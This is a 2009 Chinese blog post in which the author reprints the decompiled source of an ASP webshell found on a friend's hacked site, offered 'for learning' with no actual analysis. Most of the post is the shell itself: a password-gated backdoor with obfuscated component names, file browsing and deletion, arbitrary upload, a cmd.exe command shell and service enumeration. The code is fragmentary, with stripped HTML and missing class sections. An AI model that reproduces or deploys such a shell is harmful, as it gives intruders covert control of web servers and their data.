今天,一个朋友的网站被挂了马,代码进行了反编译。

今天,一个朋友的网站被挂了马,代码进行了反编译。 很长时间不关心计算机安全了,今天来分析以下代码,进行学习。

Server.ScriptTimeout=50000
Response.Buffer = True
On Error Resume Next
ApplicationName = "《=◆欢迎《无孔不入》的到来◆=》"
UserPass        = "wkbr9134"  '登陆密码
URL             = Request.ServerVariables("URL")
ServerIP        = Request.ServerVariables("LOCAL_ADDR")
Action          = Request("Action")
RootPath        = Server.MapPath(".")
WWWRoot         = Server.MapPath("/")
FolderPath      = Request("FolderPath")
FName           = Request("FName")
BackUrl         = ""

If Session("webadmin")<>UserPass Then
  If Request.Form("Pass")<>"" Then
    If Request.Form("Pass")=UserPass Then
      Session("webadmin")=UserPass
      Response.Redirect URL
    Else
     response.write"第一密码错误! 第二你人长的违章无法登陆。"
    End If
  Else
    SI="


《=◆浩然天地 正气长存◆=》

"
    SI=SI&"
"
    SI=SI&"命令:"
    SI=SI&" 
"
    Response.Write SI
  End If
  Response.End
End If

sub ShowErr()
  If Err Then
    Response.Write"

 " & Err.Description & "

"
    Err.Clear:Response.Flush
  End If        
end sub


Dim ObT(13,2)
ObT(0,0) = "Sc"&DEfd&"rip"&DEfd&"ting"&DEfd&".F"&DEfd&"ileS"&DEfd&"yste"&DEfd&"mObj"&DEfd&"ect"
  ObT(0,2) = "文件操作组件"
ObT(1,0) = "w"&DEfd&"sc"&DEfd&"ri"&DEfd&"pt.s"&DEfd&"he"&DEfd&"ll"
  ObT(1,2) = "命令行执行组件"
ObT(2,0) = "ADOX.Catalog"
  ObT(2,2) = "ACCESS建库组件"
ObT(3,0) = "JRO.JetEngine"
  ObT(3,2) = "ACCESS压缩组件"
ObT(4,0) = "Scrip"&DEfd&"ting"&DEfd&".D"&DEfd&"icti"&DEfd&"onary"
  ObT(4,2) = "数据流上传辅助组件"
ObT(5,0) = "Adodb.connection"
  ObT(5,2) = "数据库连接组件"
ObT(6,0) = "Ado"&DEfd&"d"&DEfd&"b"&DEfd&".S"&DEfd&"tre"&DEfd&"am"
  ObT(6,2) = "数据流上传组件"
ObT(7,0) = "SoftArtisans.FileUp"
  ObT(7,2) = "SA-FileUp 文件上传组件"
ObT(8,0) = "LyfUpload.UploadFile"
  ObT(8,2) = "刘云峰文件上传组件"
ObT(9,0) = "Persits.Upload.1"
  ObT(9,2) = "ASPUpload 文件上传组件"
ObT(10,0) = "JMail.SmtpMail"
  ObT(10,2) = "JMail 邮件收发组件"
ObT(11,0) = "CDONTS.NewMail"
  ObT(11,2) = "虚拟SMTP发信组件"
ObT(12,0) = "SmtpMail.SmtpMail.1"
  ObT(12,2) = "SmtpMail发信组件"
ObT(13,0) = "Microsoft.XMLHTTP"
  ObT(13,2) = "数据传输组件"

For i=0 To 13
    Set T=Server.CreateObject(ObT(i,0))
    If -2147221005 <> Err Then
      IsObj=True
    Else
      IsObj=false
      Err.Clear
    End If
    Set T=Nothing
    ObT(i,1)=IsObj
Next


Function RePath(S)
  RePath=Replace(S,"\","\\")
End Function

Function RRePath(S)
  RRePath=Replace(S,"\\","\")
End Function

If FolderPath<>"" then
  Session("FolderPath")=RRePath(FolderPath)
End If

If Session("FolderPath")="" Then
  FolderPath=RootPath
  Session("FolderPath")=FolderPath
End if

Function MainForm()
  SI="
"
  SI=SI&""
  SI=SI&""
  SI=SI&"
"
  SI=SI&""
  SI=SI&""
  SI=SI&"
"
  SI=SI&""
  SI=SI&""
  SI=SI&"
地址栏:"
  SI=SI&""
  SI=SI&"
"
  SI=SI&"
"
  SI=SI&"
"
  SI=SI&""
  SI=SI&"
"
  Response.Write SI
End Function


Function MainMenu()
  SI=""

  SI=SI&""
  SI=SI&""
  If Not ObT(0,1) Then
    SI=SI&""
  Else
  Set ABC=New LBF:SI=SI&ABC.ShowDriver():Set ABC=Nothing
  SI=SI&""
  SI=SI&""
  SI=SI&""
  SI=SI&""
  SI=SI&""
  SI=SI&""
  End If
  Response.Write SI:SI=""
  
  SI=SI&""
  SI=SI&""
  SI=SI&""
  SI=SI&""
  SI=SI&""
  SI=SI&""
  SI=SI&""
  SI=SI&""
  SI=SI&""
  SI=SI&""  
  SI=SI&""
  SI=SI&"
 "
  SI=SI&"FSO文件操作模块"
  SI=SI&"
    "
  SI=SI&"C:\Progra~1"
  SI=SI&"
    "
  SI=SI&"C:\Docume~1"
  SI=SI&"
    "
  SI=SI&"站点根目录"
  SI=SI&"
    "
  SI=SI&"本程序目录"
  SI=SI&"
    "
  SI=SI&"新建目录"
  SI=SI&"
    "
  SI=SI&"新建文本"
  SI=SI&"
    "
  SI=SI&"文件上传模块"
  SI=SI&"
 "
  SI=SI&"数据库操作模块"
  SI=SI&"
    "
  SI=SI&"建立MDB文件"
  SI=SI&"
    "
  SI=SI&"数据库操作"
  SI=SI&"
    "
  SI=SI&"压缩MDB文件"
  SI=SI&"
 "
  SI=SI&"命令行模块"
  SI=SI&"
 "
  SI=SI&"系统服务列表"
  SI=SI&"
 "
  SI=SI&"服务器信息"
  SI=SI&"
 "
  SI=SI&"退出登录"
  SI=SI&"
 "
  SI=SI&"桂林老兵站"
  SI=SI&"
"
  SI=SI&"
 站长助手6 增强版
 by lzhj QQ:56824448"
  SI=SI&"
"
  Response.Write SI : SI=""
End Function

Function Course()
  SI="
"
  SI=SI&""
  on error resume next
  for each obj in getObject("WinNT://.")
  err.clear
  if OBJ.StartType="" then
  SI=SI&""
  SI=SI&""
  SI0=""
  end if
  if OBJ.StartType=2 then lx="自动"
  if OBJ.StartType=3 then lx="手动"  
  if OBJ.StartType=4 then lx="禁用"
  if LCase(mid(obj.path,4,3))<>"win" and OBJ.StartType=2 then
  SI1=SI1&""
  else
  SI2=SI2&""
  end if
  next
  Response.Write SI&SI0&SI1&SI2&"
系统用户与服务
 "
  SI=SI&obj.Name
  SI=SI&"
 "
  SI=SI&"系统用户(组)"
  SI=SI&"
 
 "&obj.Name&" "&obj.DisplayName&"
[启动类型:"&lx&"] "&obj.path&"
 "&obj.Name&" "&obj.DisplayName&"
[启动类型:"&lx&"] "&obj.path&"
"
End Function

Function ServerInfo()
  SI="
"
  SI=SI&""
  SI=SI&""
  SI=SI&""
  SI=SI&""
  SI=SI&""
  SI=SI&""
  SI=SI&""
  For i=0 To 13
    SI=SI&""
  Next
  Response.Write SI
End Function

Function DownFile(Path)
  Response.Clear
  Set OSM = CreateObject(ObT(6,0))
  OSM.Open
  OSM.Type = 1
  OSM.LoadFromFile Path
  sz=InstrRev(path,"\")+1
    Response.AddHeader "Content-Disposition", "attachment; filename=" & Mid(path,sz)
    Response.Charset = "UTF-8"
    Response.ContentType = "application/octet-stream"
    Response.BinaryWrite OSM.Read
    Response.Flush
  OSM.Close
  Set OSM = Nothing
End Function


Function HTMLEncode(S)
  if not isnull(S) then
    S = replace(S, ">", ">")
    S = replace(S, "<", "<")
    S = replace(S, CHR(39), "'")
    S = replace(S, CHR(34), """)
    S = replace(S, CHR(20), " ")
    HTMLEncode = S
  end if
End Function

Function UpFile()
  If Request("Action2")="Post" Then
    Set U=new UPC : Set F=U.UA("LocalFile")
    UName=U.form("ToPath")
    If UName="" or F.FileSize=0 then
      SI="
请输入上传的完全路径后选择一个文件上传!"
    Else
        F.SaveAs UName
        If Err.number=0 Then
          SI="



文件"&UName&"上传成功!
"
        End if
    End If
    Set F=nothing:Set U=nothing
    SI=SI&BackUrl
    Response.Write SI
    ShowErr()
    Response.End
  End If
    SI="


服务器组件信息
服务器名 "&request.serverVariables("SERVER_NAME")&"
服务器IP "
  SI=SI&"
服务器时间 "&now&" 
服务器CPU数量 "&Request.ServerVariables("NUMBER_OF_PROCESSORS")&"
服务器操作系统 "&Request.ServerVariables("OS")&"
WEB服务器版本 "&Request.ServerVariables("SERVER_SOFTWARE")&"
"&ObT(i,0)&""&ObT(i,1)&""&ObT(i,2)&"
"
    SI=SI&""
    SI=SI&"
"
    SI=SI&"上传路径: "
    SI=SI&""
    SI=SI&""
    SI=SI&"
"
  Response.Write SI
End Function

Function CmdShell()
  If Request("SP")<>"" Then Session("ShellPath") = Request("SP")
  ShellPath=Session("ShellPath")
  if ShellPath="" Then ShellPath = "cmd.exe"
  if Request("wscript")="yes" then
  checked=" checked"
  else
  checked=""
  end if
  If Request("cmd")<>"" Then DefCmd = Request("cmd")
  SI="
"
  SI=SI&"
"
  SI=SI&"
      
"
  SI=SI&""
  Response.Write SI
  End Function
  
  Function CopyFile(Path)
  Path = Split(Path,"||||")
    If CF.FileExists(Path(0)) and Path(1)<>"" Then
      CF.CopyFile Path(0),Path(1)
      SI="



文件"&Path(0)&"复制成功!
"
      SI=SI&BackUrl
      Response.Write SI
    End If
  End Function

  Function MoveFile(Path)
  Path = Split(Path,"||||")
    If CF.FileExists(Path(0)) and Path(1)<>"" Then
      CF.MoveFile Path(0),Path(1)
      SI="



文件"&Path(0)&"移动成功!
"
      SI=SI&BackUrl
      Response.Write SI
    End If
  End Function

  Function DelFolder(Path)
    If CF.FolderExists(Path) Then
      CF.DeleteFolder Path
      SI="



目录"&Path&"删除成功!
"
      SI=SI&BackUrl
      Response.Write SI
    End If
  End Function

  Function CopyFolder(Path)
  Path = Split(Path,"||||")
    If CF.FolderExists(Path(0)) and Path(1)<>"" Then
      CF.CopyFolder Path(0),Path(1)
      SI="



目录"&Path(0)&"复制成功!
"
      SI=SI&BackUrl
      Response.Write SI
    End If
  End Function

  Function MoveFolder(Path)
  Path = Split(Path,"||||")
    If CF.FolderExists(Path(0)) and Path(1)<>"" Then
      CF.MoveFolder Path(0),Path(1)
      SI="



目录"&Path(0)&"移动成功!
"
      SI=SI&BackUrl
      Response.Write SI
    End If
  End Function

  Function NewFolder(Path)
    If Not CF.FolderExists(Path) and Path<>"" Then
      CF.CreateFolder Path
      SI="



目录"&Path&"新建成功!
"
      SI=SI&BackUrl
      Response.Write SI
    End If
  End Function
End Class


Select Case Action
  Case "MainMenu":MainMenu()
  Case "ShowFile"
    Set ABC=New LBF:ABC.ShowFile(Session("FolderPath")):Set ABC=Nothing
  Case "DownFile":DownFile FName:ShowErr()
  Case "DelFile"
    Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing
  Case "EditFile"
    Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing
  Case "CopyFile"
    Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing
  Case "MoveFile"
    Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing
  Case "DelFolder"
    Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing
  Case "CopyFolder"
    Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing
  Case "MoveFolder"
    Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing
  Case "NewFolder"
    Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing
  Case "UpFile":UpFile()
  Case "CmdShell":CmdShell()
  Case "Logout":Session.Contents.Remove("webadmin"):Response.Redirect URL
  Case "CreateMdb":CreateMdb FName
  Case "CompactMdb":CompactMdb FName
  Case "DbManager":DbManager()
  Case "Course":Course()
  Case "ServerInfo":ServerInfo()
  Case Else MainForm()
End Select
ShowErr()

[本日志由 wang 于 2009-06-07 05:12 PM 编辑]
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